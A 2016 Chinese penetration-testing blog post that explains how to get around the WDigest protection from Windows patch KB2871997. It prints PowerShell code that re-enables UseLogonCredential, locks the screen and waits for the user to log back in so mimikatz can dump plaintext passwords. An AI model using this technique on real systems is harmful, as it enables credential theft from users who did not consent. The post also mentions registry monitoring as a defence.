域渗透——Dump Clear-Text Password after KB2871997 installed

三好学生 · 2016/06/15 10:24

0x00 前言


在渗透测试中,渗透测试人员通常会使用mimikatz从LSA的内存中导出系统的明文口令,而有经验的管理员往往会选择安装补丁kb2871997来限制这种行为。这其中涉及到哪些有趣的细节呢?本文将会一一介绍。

图片来自pixabay.com/zh/%E5%AF%8…

0x01 简介


KB2871997:

更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。

支持系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

配置:

1、下载补丁并安装

下载地址:
support.microsoft.com/en-us/kb/28…

2、配置补丁

下载easy fix并运行,禁用Wdigest Auth

注:
easy fix的操作其实就是改了注册表的键值,所以这里我们可以手动操作注册表来禁用Wdigest Auth

对应的注册表路径为:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
复制代码

名称为:

UseLogonCredential
复制代码

类型为:

REG_DWORD
复制代码

值为:

0
复制代码

使用批处理的命令为:

#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
复制代码

如图

3、重启系统

测试无法导出明文口令

如图

0x02 解决方法


需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。

Nishang中的Invoke-MimikatzWDigestDowngrade集成了这个功能,地址如下:

github.com/samratashok…

但是在功能上还无法做到一键操作,于是我对此做了扩展。

0x03 扩展思路


操作流程如下:

  • 修改注册表
  • 锁屏等待用户登录
  • 用户登录后,立即导出明文口令

脚本实现上需要考虑如下问题:

  1. 修改注册表
  2. 锁屏
  3. 进入循环,判断当前系统是否结束锁屏状态
  4. 用户登录后,跳出循环等待,立即导出明文口令并保存

0x04 扩展方法


通过powershell实现

1、修改注册表

键值设为1:

#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
复制代码

循环判断注册表键值是否为0,如果为1,等待10s再次判断,如果为0,退出循环,可用来监控此注册表键值是否被修改:

#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
    write-host "[+]Flag Normal"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
    $Flag=$key.UseLogonCredential
    write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"
复制代码

如图

2、锁屏

锁屏操作的快捷键为Win+L

cmd下命令为:

rundll32.exe user32.dll,LockWorkStation
复制代码

powershell代码如下:

#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
复制代码

如图

3、判断当前系统是否结束锁屏状态

最开始的思路为锁屏会运行某个进程,在结束锁屏状态后会退出某个进程或是在结束锁屏状态后会启动某个进程,于是编写了如下测试代码:

判断进程notepad进程是否存在,如果不存在等待10s再次判断,如果存在,退出循环:

#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
    write-host "[-]No notepad.exe"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
    $Flag=$id.Id+0
    write-host "[+]Checking tasklist"  
}
write-host "[!]Got notepad.exe!"
复制代码

但是实际测试效果均不太理想,后来在如下链接找到了解决思路:

stackoverflow.com/questions/9…

锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值。

对于GetForegroundWindow()的函数用法可在如下链接找到参考:

github.com/PowerShellM…

于是在此基础上实现功能:

循环判断当前是否为锁屏状态,如果不是锁屏状态,退出循环,否则循环等待

#!powershell
function local:Get-DelegateType {
  Param (
    [OutputType([Type])]
  [Parameter( Position = 0)]
  [Type[]]
  $Parameters = (New-Object Type[](0)),
    [Parameter( Position = 1 )]
  [Type]
  $ReturnType = [Void]
  )
    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

    $TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
  Param (
    [OutputType([IntPtr])]
  [Parameter( Position = 0, Mandatory = $True )]
  [String]
  $Module,
    [Parameter( Position = 1, Mandatory = $True )]
  [String]
  $Procedure
    )
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
  $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()


write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
  write-host "[+]LockScreen"
  write-host "[+]Wait 10 Seconds..."
  Start-Sleep -Seconds 10
  $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
  $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
  $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
  $hWindow = $GetForegroundWindow.Invoke()
  write-host "[+]Checking Flag"

}
write-host "[!]Got Screen!"
复制代码

为方便演示,上面的脚本添加了等待10s后再判断的功能,如图

4、用户登录后,跳出循环等待,立即导出明文口令并保存

导出口令的功能参考如下代码

raw.githubusercontent.com/PowerShellM…

通过powershell加载mimikatz导出明文口令,添加了保存、判断、循环等细节,整合文中的功能,完整的代码已上传至github,地址为:

github.com/3gstudent/D…

完整演示如图

0x05 小结


本文对加载mimikatz导明文口令的powershell脚本做了扩充,添加了如下功能:

  • 修改注册表键值,启用Wdigest Auth
  • 自动锁屏,等待用户重新登录
  • 判断当前锁屏状态,用户解锁登录后立即导出明文口令

同时也通过powershell实现了监控并记录对注册表键值的修改,可用作防御

0x06 补充


github.com/l3m0n/pente…

见上面的链接,l3m0n对渗透测试的整理很是细心,是个很好的学习资料。另外在其github上hash抓取这一章中的win8+win2012明文抓取描述为测试失败,希望本文对你(@l3m0n)有用

更多学习资料:

blogs.technet.microsoft.com/kfalde/2014…

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值